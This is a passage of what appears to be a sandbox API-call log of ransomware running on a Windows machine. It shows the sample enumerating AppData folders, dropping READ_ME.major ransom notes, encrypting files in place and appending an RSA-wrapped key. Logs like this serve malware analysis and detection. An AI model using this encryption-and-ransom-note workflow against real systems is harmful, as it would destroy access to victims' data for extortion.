returned 0x1a1c [0229.382] GetFileSizeEx (in: hFile=0x1a1c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=22) returned 1 [0229.382] ReadFile (in: hFile=0x1a1c, lpBuffer=0x5d14b0, nNumberOfBytesToRead=0x16, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d14b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x16, lpOverlapped=0x0) returned 1 [0229.383] SetFilePointer (in: hFile=0x1a1c, lDistanceToMove=-22, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0229.383] WriteFile (in: hFile=0x1a1c, lpBuffer=0x5d14d0*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d14d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16, lpOverlapped=0x0) returned 1 [0229.383] SetFilePointer (in: hFile=0x1a1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16 [0229.383] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.383] WriteFile (in: hFile=0x1a1c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.384] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0229.384] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0229.384] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0229.384] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zZ2QWPkAXaEnlx7mnDz1JnuNayMKfFAYa4l7bIVsdq093mQ8VIhbZKgx6vFWCu8A\n/mf20FoqgJ46kUYZu3Ce4YSRAAIkE+WQNsnEtfhaJ3DCtHwFaFiM51RybC0K7Ew8\nAb+Awsjbdz8EpOM+jwIIjTeT8pLxL+tKaOBx/R1qZAjfTCaS6fP/2nfeFbgltmVw\nPM8zeyu2vLlK6RYEMve+9FCV4GPtlbYcuSmaGtYxNatnRnO9G6ikLTidXCIBfWPK\nIWNKbVRo2VEjpbRHKCWH4ksb7ZaMSjy3Otx7k5aeksbRN5VAKblTw23+Od5UI6wb\nRUto7O1/Agw8889yr5Jxsw==\n", pcchString=0x2e3f9a8) returned 1 [0229.384] WriteFile (in: hFile=0x1a1c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0229.384] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.384] WriteFile (in: hFile=0x1a1c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.384] CloseHandle (hObject=0x1a1c) returned 1 [0229.575] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34ee0 [0229.575] FindNextFileW (in: hFindFile=0x2f34ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.575] FindNextFileW (in: hFindFile=0x2f34ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c78bbf1, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1ebe, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0229.575] FindNextFileW (in: hFindFile=0x2f34ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0229.575] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a20 [0229.578] WriteFile (in: hFile=0x1a20, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.578] CloseHandle (hObject=0x1a20) returned 1 [0229.579] FindNextFileW (in: hFindFile=0x2f34ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b082f44, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b082f44, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.579] FindNextFileW (in: hFindFile=0x2f34ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b082f44, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b082f44, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.579] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0229.579] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata", dwFileAttributes=0x80) returned 1 [0229.579] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a20 [0229.580] GetFileSizeEx (in: hFile=0x1a20, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=7870) returned 1 [0229.580] ReadFile (in: hFile=0x1a20, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x1ebe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ebe, lpOverlapped=0x0) returned 1 [0229.589] SetFilePointer (in: hFile=0x1a20, lDistanceToMove=-7870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0229.589] WriteFile (in: hFile=0x1a20, lpBuffer=0x2f35020*, nNumberOfBytesToWrite=0x1ebe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ebe, lpOverlapped=0x0) returned 1 [0229.589] SetFilePointer (in: hFile=0x1a20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ebe [0229.589] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.589] WriteFile (in: hFile=0x1a20, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.589] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0229.589] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0229.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0229.590] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5WbUo/N4mlGF0FeMApCFOeClw8n94cpujg8mM3Xb5h44mjotFDEmEeHIFI5efMna\nBPLG6OI4Z2NITbaFWvACrnhi4AylhpAepMm2dSdflE6CeFIipKHmg1PryND7z6vU\nx/ArmBZJLVSd65aeRVQ5/NoBfKgiILqp1RQgXPtGLnCHiwDSGWcLUAT80o4lz1Jh\nKiNLfXyqVteylrMPwZ0oag4J/HQ801RBWkCUJZQLHiur8n3JRZMeLpwzLwC+mXRo\nF2grflQ4AVhfLhvNHg8SVBZ83RU7XMWznFfvB6BHsJ3GxfpJdeTvuFSrf2Wh6e+k\niWyCrf+vSdK8xbaMg3jvJA==\n", pcchString=0x2e3f9a8) returned 1 [0229.590] WriteFile (in: hFile=0x1a20, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0229.590] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.590] WriteFile (in: hFile=0x1a20, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.590] CloseHandle (hObject=0x1a20) returned 1 [0229.592] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\G7ZD37Y5\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34f60 [0229.592] FindNextFileW (in: hFindFile=0x2f34f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe538be0f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe538be0f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.592] FindNextFileW (in: hFindFile=0x2f34f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b082f44, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b082f44, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.592] FindNextFileW (in: hFindFile=0x2f34f60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b082f44, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b082f44, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b082f44, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.592] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3b37d6ba, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34da0 [0229.592] FindNextFileW (in: hFindFile=0x2f34da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3b37d6ba, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.593] FindNextFileW (in: hFindFile=0x2f34da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 1 [0229.593] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a28 [0229.594] WriteFile (in: hFile=0x1a28, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.595] CloseHandle (hObject=0x1a28) returned 1 [0229.595] FindNextFileW (in: hFindFile=0x2f34da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b37d6ba, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b37d6ba, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b37d6ba, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.595] FindNextFileW (in: hFindFile=0x2f34da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b37d6ba, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b37d6ba, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b37d6ba, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.595] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3b37d6ba, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f348e0 [0229.595] FindNextFileW (in: hFindFile=0x2f348e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3b37d6ba, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.595] FindNextFileW (in: hFindFile=0x2f348e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0229.595] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a2c [0229.596] WriteFile (in: hFile=0x1a2c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.597] CloseHandle (hObject=0x1a2c) returned 1 [0229.597] FindNextFileW (in: hFindFile=0x2f348e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b37d6ba, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b37d6ba, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b37d6ba, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.597] FindNextFileW (in: hFindFile=0x2f348e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b37d6ba, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b37d6ba, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b37d6ba, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.597] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3b3a3980, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34de0 [0229.597] FindNextFileW (in: hFindFile=0x2f34de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3b3a3980, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.598] FindNextFileW (in: hFindFile=0x2f34de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3a3980, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b3a3980, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b3a3980, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.598] FindNextFileW (in: hFindFile=0x2f34de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3a3980, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b3a3980, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b3a3980, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0229.598] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b3a3980, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34860 [0229.599] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b3a3980, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0229.600] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a3ab44, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a3ab44, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a3ab44, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="addons.json", cAlternateFileName="ADDONS~1.JSO")) returned 1 [0229.600] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea98376, 